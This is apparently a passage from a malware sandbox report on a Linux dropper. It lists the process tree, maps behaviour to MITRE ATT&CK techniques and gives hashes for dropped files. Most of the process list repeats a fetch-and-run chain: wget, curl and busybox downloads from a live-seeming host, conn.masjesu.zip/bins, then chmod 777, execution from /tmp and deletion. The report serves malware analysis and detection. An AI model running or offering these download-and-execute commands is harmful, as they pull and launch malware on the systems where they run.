- /bin/rm
  rm 5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  PID:978
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - System Network Configuration Discovery
  PID:979
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:980
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - System Network Configuration Discovery
  PID:982
- /bin/chmod
  chmod 777 iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - File and Directory Permissions Modification
  PID:983
- /tmp/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  ./iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - Executes dropped EXE
  PID:984
- /bin/rm
  rm iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  PID:985
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  PID:986
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:987
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  PID:989
- /bin/chmod
  chmod 777 PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - File and Directory Permissions Modification
  PID:990
- /tmp/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  ./PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - Executes dropped EXE
  PID:991
- /bin/rm
  rm PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  PID:992
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:993
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:994
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:996
- /bin/chmod
  chmod 777 dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - File and Directory Permissions Modification
  PID:997
- /tmp/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  ./dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - Executes dropped EXE
  PID:998
- /bin/rm
  rm dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:1000
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  PID:1001
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1002
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - System Network Configuration Discovery
  PID:1004
- /bin/chmod
  chmod 777 CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - File and Directory Permissions Modification
  PID:1005
- /tmp/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  ./CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - Executes dropped EXE
  PID:1006
- /bin/rm
  rm CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  PID:1008
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  PID:1009
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1010
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - System Network Configuration Discovery
  PID:1012
- /bin/chmod
  chmod 777 aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - File and Directory Permissions Modification
  PID:1013
- /tmp/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  ./aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - Executes dropped EXE
  PID:1014
- /bin/rm
  rm aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  PID:1015
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - System Network Configuration Discovery
  PID:1016
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1017
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - System Network Configuration Discovery
  PID:1019
- /bin/chmod
  chmod 777 UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - File and Directory Permissions Modification
  PID:1020
- /tmp/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  ./UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - Executes dropped EXE
  PID:1021
- /bin/rm
  rm UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  PID:1022

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm

Path /tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
Size 16B
SHA256 17dcc5c5df80bfe98d30dd8eb7e0de5875d0e4560a0f23e5acb0b13ef1a1a3c5
MD5 7689ca8c5bc85cf6b78ef89323d4df6a
SHA1 a1392ec3b571b3de167f0b9a5dadab4f14a2db76
SHA512 40f543b232d42b9b7796382c15de33e682111685ad7ae87be455d0d8d3e48866dfc137f4555b8bc6bf03ac5dde233c8f20e8c4f220c05c71892de0ce14691471
MD5 SHA1 SHA512

Submit Download

M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK

Path /tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512